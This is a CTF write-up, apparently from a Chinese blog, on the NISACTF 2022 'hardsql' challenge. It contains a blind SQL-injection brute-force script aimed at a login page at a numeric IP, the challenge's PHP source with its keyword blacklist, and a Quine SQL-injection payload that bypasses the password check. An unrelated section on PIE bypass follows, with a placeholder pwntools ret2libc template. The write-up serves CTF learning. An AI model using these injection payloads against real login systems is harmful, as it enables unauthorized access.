[NISACTF 2022]hardsql

文章描述了一种利用Python脚本进行密码爆破的方法,但遇到WAF过滤。解决方案是通过Quine注入,利用字符串替换创建输入与输出相等的查询,成功绕过强比较要求,达到登录目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.打开环境,发现一个登录窗口。

2.随便输入用户名和密码回显:

 3.当失败时会回显nothing found,以此可以爆破密码。

python脚本如下:

import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28843/login.php"
    flag = ""
    Cookie = {'frontLang':'zh - cn',
    'frontDevice':'desktop',
    'theme' : 'default',
    'adminLang' : 'zh - cn',
    'adminDevice' : 'desktop',
    'currentGroup': 'design'
    }
    while(True):
        for i in alp:
            data = {
                'username': 'bilala',
                'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
            }
            res = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "nothing found" not in res.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
if __name__=='__main__':
    get_pass()

爆破出密码登入后没有给flag,而是给了源码。

<?php
//多加了亿点点过滤
 
include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
 
function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}
 
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}
 
?>

关键是它要求强比较相同,但弱比较不同,所以要用到Quine,Quine是一种自生产技术,可以使数据库输入和输出相同。

payload:

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

参考文章:

SQL注入之Quine注入

### 关于PIE保护机制下的PWN攻击实例 在存在位置无关可执行文件(Position Independent Executable, PIE)的情况下,程序加载地址会在每次运行时被随机化。这增加了利用漏洞的难度,因为传统的返回导向编程(ROP)依赖固定的基址来计算目标函数或gadget的位置。 然而,在某些情况下仍然可以实施有效的攻击策略。例如,在未完全启用RELRO的部分程序中可能存在动态链接表(Global Offset Table, GOT)条目重写的机会[^1]。对于这类情形,可以通过泄露库函数的实际地址并结合偏移量找到系统调用或其他有用功能的确切位置。 当面对开启了PIE但其他安全措施较弱的目标时,一种常见的方法是通过信息泄漏获取当前映像基址,之后再构建针对特定版本二进制文件已知布局的payload来进行控制转移。下面给出一个基于`ret2plt`技巧的具体案例分析: #### 实战演练:CTF挑战题目的解析 考虑一道名为“ezpie”的题目来自NISACTF 2022竞赛[^2]。此题提供了一个易受攻击的服务端应用,它虽然启用了PIE特性却未能充分设置栈溢出防护机制。这意味着如果能够绕过ASLR的影响,则有可能实现远程代码执行。 为了完成这一任务,选手们通常会采取如下手段之一: - 利用格式字符串错误读取内存中的关键数据片段; - 或者借助UAF (Use After Free) 缺陷间接访问已经释放的对象结构体成员变量; 无论哪种方式获得的信息都可以帮助定位libc.so及其他重要模块的真实起始点,从而为进一步规划rop chain奠定基础。 ```python from pwn import * # 建立连接至服务 conn = remote('target_ip', port) # 发送恶意输入触发缓冲区溢出条件... conn.sendlineafter(b'prompt:', payload) # 接收响应包内含潜在有价值的指针值 leaked_ptr = u64(conn.recvuntil(b'\n').strip().ljust(8,b'\x00')) log.info(f"Leaked pointer @ {hex(leaked_ptr)}") base_addr = leaked_ptr - known_offset_from_libc_base_to_leak_point system_plt = base_addr + offset_of_system_in_libc bin_sh_str = base_addr + offset_of_binsh_string_in_libc final_payload = b'A'*offset_until_retaddr \ + p64(system_plt) \ + p64(ret_gadget_if_needed) \ + p64(bin_sh_str) conn.sendline(final_payload) conn.interactive() ``` 上述脚本展示了如何与远端服务器交互,并尝试构造合适的载荷以期达成命令注入的目的。当然实际操作过程中还需要根据具体情况调整细节部分如偏移量等参数设定。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值